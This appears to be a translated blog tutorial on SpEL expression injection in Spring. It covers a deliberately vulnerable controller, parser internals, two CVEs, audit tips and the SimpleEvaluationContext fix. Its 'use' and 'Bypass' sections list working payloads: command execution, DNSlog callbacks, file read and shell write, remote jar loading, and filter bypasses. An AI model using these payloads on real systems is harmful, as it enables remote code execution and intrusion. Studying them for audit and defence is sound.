Java Expression Injection (SpEL Expression Injection)

introduce:

Spring Expression Language (SpEL for short) is a powerful expression language that supports runtime query and manipulation of object graphs. Expression languages ​​generally use the simplest form to complete the most important work, so as to reduce the workload.

SpEL is not directly related to Spring and can be used independently. SpEL expressions were created to provide the Spring community with a well-supported expression language for all products in the Spring family. That is, SpEL is a technology-independent API that can integrate other expression languages.

There are three forms of SpEL usage, one is in the annotation @Value, one is XML configuration, and the last is using Expression in the code block.

SpEL supports the following expressions:

1. Basic expressions

Literal expression, relation, logic and arithmetic operation expression, string connection and interception expression, ternary operation expression, regular expression, parenthesis priority expression;

2. Class related expressions

Class type expression, class instantiation, instanceof expression, variable definition and reference, assignment expression, custom function, object attribute access and safe navigation expression, object method call, Bean reference;

3. Collection related expressions

Inline List, inline array, collection, dictionary access, list, dictionary, array modification, collection projection, collection selection; does not support multi-dimensional inline array initialization; does not support inline dictionary definition;

4. Other expressions

template expression.

use:

Expression syntax:

literal expression

"#{'Hello World'}"

Use java code directly (only classes under java.lang can omit the package name)

Expression exp = parser.parseExpression("new Spring('Hello World')");
ExpressionParser parser = new SpelExpressionParser();
Person person = parser.parseExpression("new com.git.hui.boot.spel.Person('一灰灰', 20)").getValue(Person.class);

Use T(Type)

Use "T(Type)" to represent the java.lang.Class instance. Similarly, only classes under java.lang can omit the package name. This method is generally used to refer to constants or static methods

parser.parseExpression("T(Integer).MAX_VALUE");
parser.parseExpression("T(com.git.hui.boot.spel.demo.BasicSpelDemo.StaClz).txt").getValue(String.class);

variable

To get the variables in the container, you can use "#bean_id" to get it. There are two special variables that can be used directly.

#this uses the context currently being evaluated

#root refers to the root object of the container

String result2 = parser.parseExpression("#root").getValue(ctx, String.class);  
public void variable() {
    ExpressionParser parser = new SpelExpressionParser();
    Person person = new Person("一灰灰blog", 18);
    EvaluationContext context = new StandardEvaluationContext();
    context.setVariable("person", person);
    parser.parseExpression("#person.getName()").getValue(context, String.class);
    parser.parseExpression("#person.age").getValue(context, Integer.class);
}

operator expression

Regular comparison judgments, arithmetic operations, ternary expressions, type judgments, matchesregular matching and other base table expressions in Java grammar

public void expression() {
    ExpressionParser parser = new SpelExpressionParser();// 运算
    System.out.println("1+2= " + parser.parseExpression("1+2").getValue());// 比较
}

In addition, there are many grammatical structures, so I will not introduce them one by one here, but only some of the more important ones. If readers are interested, they can find relevant documents by themselves.

Annotation @Value:

The @Value annotation can be placed on fields, methods, and constructor parameters to specify default values.

public class ElTestServlet extends HttpServlet {
    //@Value("#{ T(java.lang.Runtime).getRuntime().exec(\"calc\") }")
    @Value("#{ \"HELLO WORLD!\" }")
    private String defaultLocale;
    public void ElTestServlet (String defaultLocale) {
        this.defaultLocale = defaultLocale;
    }
    @RequestMapping(value = "/index.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView hello(@RequestParam("username") Object username){
        System.out.print(this.defaultLocale);
        ModelAndView mv = new ModelAndView();
        mv.addObject("username", username);
        mv.setViewName("index");
        return mv;
    }
}

After execution, you can see that defaultLocale is assigned:

If we modify the code to the following code, the calculator will pop up:

@Value("#{ T(java.lang.Runtime).getRuntime().exec(\"calc\") }")

 Of course, no one will write code like this, and it is difficult for an attacker to control the content of the annotation.

XML configuration usage:

You can use the following expressions to set property or constructor parameter values.

<bean id="number" class="net.biancheng.Number">
    <property name="randomNumber" value="#{T(java.lang.Math).random() * 100.0}"/>
</bean>

You can also refer to other Bean properties by name, as in the following code.

<bean id="shapeGuess" class="net.biancheng.ShapeGuess">
    <property name="shapSeed" value="#{number.randomNumber}"/>
</bean>

The code is not tested, and the front end basically does not have permission to modify the Bean modification, so it is impossible to inject it as an el injection point in the real environment, so it is enough to have this thing here, and there is no need to study too much.

Use Expression in the code block:

In the real environment, most of the SpEL expression injections basically exist here. Once the parameters are controlled by the attacker, the attack can be launched. First, understand how to call in the code:

SpEL provides the following interfaces and classes:

  • Expression interface: This interface is responsible for evaluating expression strings
  • ExpressionParser interface: This interface is responsible for parsing strings
  • EvaluationContext interface: This interface is responsible for defining the context

Write the following code test:

    @RequestMapping(value = "/testspel.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView TestSpEL(@RequestParam("spel") String spel){
        // 构造解析器
        ExpressionParser parser = new SpelExpressionParser();
        // 解析器解析字符串表达式
        Expression exp = parser.parseExpression(spel);
        // 获取表达式的值
        String message = (String) exp.getValue();
        System.out.println(message);

        ModelAndView mv = new ModelAndView();
        mv.addObject("spel", message);
        mv.setViewName("testspel");
        return mv;
    }

Write jsp code:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    user is: ${spel}
    
</pre>
</body>
</html>

After execution, you can see that it can be executed:

 

But when we use the following code, the code can be successfully executed and the calculator pops up:

T(java.lang.Runtime).getRuntime().exec('calc') 

 

Code analysis: 

First write the test code, the key code is as follows:

    @RequestMapping(value = "/testspel.do",method = RequestMethod.GET)
    public ModelAndView TestSpEL(@RequestParam("spel") String spel){
        // 构造解析器
        ExpressionParser parser = new SpelExpressionParser();
        // 解析器解析字符串表达式
        Expression exp = parser.parseExpression(spel);
        // 获取表达式的值
        String message = (String) exp.getValue();
        System.out.println(message);

        ModelAndView mv = new ModelAndView();
        mv.addObject("spel", message);
        mv.setViewName("testspel");
        return mv;
    }

The jsp code is as follows:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    user is: ${spel}
</pre>
</body>
</html>

The code is very simple, add parameters when visiting the page

game=T(java.lang.Runtime).getRuntime().exec('calc') 

First, it will enter parser.parseExpression(spel); after entering this method, it mainly performs preliminary processing on the incoming spel:

The function that mainly processes the content is the eatPrimaryExpression method of InternalSpelExpressionParser. The first part is mainly for the parameter type. If the class method needs to be obtained, the first step is processed according to . The second step is for the array that has been processed in the first step. , to extract information such as parameters and methods, and the third step is to check the obtained class and check:

Enter the maybeEatTypeReference method of InternalSpelExpressionParser and you can see that it will judge whether to obtain the class object according to T:

When there is T and it is necessary to obtain the class object, the corresponding processing is to enter the internalSpelExpressionParser's eatPossiblyQualifiedId method, which splits the string according to the string, here we pass in the parameter (java.lang.Runtime).getRuntime().exec( 'calc') to get three arrays:

 After the first step is processed, enter the second step exp.getValue(); call to get the expression value:

Direct execution can pop up the calculator. After adding a breakpoint, look at the stack call first, and you can see that the important functions are as follows:

Among them, the acquisition of the calling method mainly calls the getValueInternal method of TypeReference. The first place is to omit java.lang to call, and the following is to call the custom method:

The specific calling method is to obtain the corresponding class through the reflection of the findType method of StandardTypeLocator;

 After obtaining the corresponding class and method information, you can call and execute it. Here, ref is the java.lang.Runtime class we want to call, the exec method to call, and the calc parameter:

The above is a general analysis of spel code execution. In fact, it is mainly divided into two steps. The first step will process the incoming parameters according to the type. If it is the Type method, it will split the characters according to ., and then extract the content to get the class , method, parameter. Then enter the second step to reflect the class, and then call it to complete the call to any method through the spel expression.

use:

The first thing is to know under what circumstances the vulnerability exists. To test whether there is a vulnerability, you can use it to calculate. When using 5-2, you can see that the result becomes 3. Note here, some code tests may need to convert it Converting to a string or other formats may report an error, so in addition to using operators, other syntaxes can be used:

 Or we use the DNSlog platform to judge whether there is access. If the http protocol does not work, you can try several more protocols:

T(Runtime).getRuntime().exec('ping lkljea.dnslog.cn')
new java.net.URL("http://lkljea.dnslog.cn").openConnection().connect()

 Know how to judge whether there is a vulnerability, let's take a look at the commonly used poc:

Execute system commands:

T(java.lang.Runtime).getRuntime().exec("calc")

T(Runtime).getRuntime().exec("calc") 
T(Runtime).getRuntime().exec(new String[]{"cmd", "/c", "calc"})

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")

Print directory structure:

new java.util.Scanner(new java.lang.ProcessBuilder("cmd","/c","dir",".\\").start().getInputStream(),"GBK").useDelimiter("allisok").next()

Read file content:

new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/D:/work/ceshi.txt"))))

 write file:

T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/D:/shell.jsp")), '123464987984949'.getBytes())

Load the remote class file:

The JVM has a variety of ClassLoaders, and different ClassLoaders will load bytecode files from different places. The loading method can be loaded through different file directories, or loaded from different jar files, including using the network service address to load. Here is a demonstration Load the remote class file through UrlClassLoader and execute the method in it:

First write the code spelclass.java:

public class spelclass {
    static {
        try {
            String var0 = "calc";
            Runtime.getRuntime().exec(var0);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
        System.out.println();
    }
}

javac spelclass.java is compiled into a class file, and then packaged into a jar file using the jar command:

cvf jar spelclass.jar .  

Then use python to build a simple server or put the class on the vps of the public network: python -m http.server 8080

Then use poc:

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.4.147:8080/spelclass.jar")}).loadClass("spelclass").getConstructors()[0].newInstance("127.0.0.1:8080")

AppClassLoader loads:

AppClassLoader is directly facing the user, it will load the jar package and directory in the path defined in the Classpath environment variable. Due to the existence of parental delegation, it can be loaded to the class we want. The premise of using it is to obtain it. AppClassLoader can be obtained through the ClassLoader class The static method getSystemClassLoader:

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("calc")
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"cmd", "\c", "calc"}).start()

T(org.springframework.expression.spel.standard.SpelExpressionParser).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

Bypass:

If there is a firewall or whitelist settings, you can take the following ideas to bypass:

Bypass T( filter:

You can add a truncation character in T(, and spel will parse %00 as a space without affecting execution:

T%00(java.lang.Runtime).getRuntime().exec("calc")

 Reflection call:

If the loaded el is whitelisted, it can be called by reflection:

T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

Deserialization execution:

The code to be executed can be serialized first, then base64 encoded, and finally decoded and deserialized for execution:

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))

CVE analysis:

Searched according to the keyword spel, and found 10 vulnerabilities, not very comprehensive, but all of them are fatal. After all, the command can be executed by executing the content of the spel expression, which is similar to the deserialization vulnerability, and the harm is still great: 

 CVE-2022-22963:

Let’s take a look at the execution stack information first, where the key points in the red box trigger the vulnerability:

The first step is to get the data of spring.cloud.function.routing-expression in the head header:

Then the content is directly parsed by spel, triggering the spel injection vulnerability:

 Attack poc:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calca")

CVE-2018-1273 :

The official introduction is as follows. The official classification is a binding vulnerability. No wonder the spel search cannot find it. During the binding, the data was wrongly parsed and the command was executed:

Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.

This can be built on git, the address is as follows:

https://github.com/wearearima/poc-cve-2018-1273

Both of the following pocs are available:

name[T(java.lang.Runtime).getRuntime().exec("calca")]=123
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123

The location of the main execution vulnerability code is as follows:

First, you need to bind the obtained front-end data and attribute values: 

Here, the value of the given parameter key will be parsed by spel, which will lead to spel injection:

 The contents of the map are as follows:

 So the principle is also very simple, that is, there are no restrictions on the parsing of parameters, so that users can control the spel statement, resulting in injection problems.

Code Audit:

After reading the above analysis, we can find that in order to exploit this vulnerability, the parameters must be parsed as spel data, so the most critical code

Expression expression = parser.parseExpression(spel);

As long as the parseExpression method is called, and the parameters can be controlled, no matter whether it is the last call to getValue or setValue, the vulnerability will be triggered. The difference is the format of its poc. You should pay attention to the data bound by the context, so when you see parseExpression It is necessary to pay attention to whether its parameters are controllable at all times. If it is controllable and not controlled, it can be used.

The classes and methods to be aware of are as follows:

// key class

org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser

// call feature

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue() expression.setValue()

defense:

The fix is ​​to replace StandardEvaluationContext with SimpleEvaluationContext.

Official description:

https://docs.spring.io/spring-framework/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html

Reference Code:

String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));

Summarize:

 The principle of spel injection is not complicated. The main thing is to know its grammatical structure. As long as you understand its grammatical structure, you will know that if you write a spel statement, you can write a suitable statement according to its grammatical structure to attack when you find that there are parameters that can be controlled. In addition, if you need code audit, you can quickly judge whether there is a problem by just staring at the source of the parameters.

Guess you like

Origin blog.csdn.net/GalaxySpaceX/article/details/132322361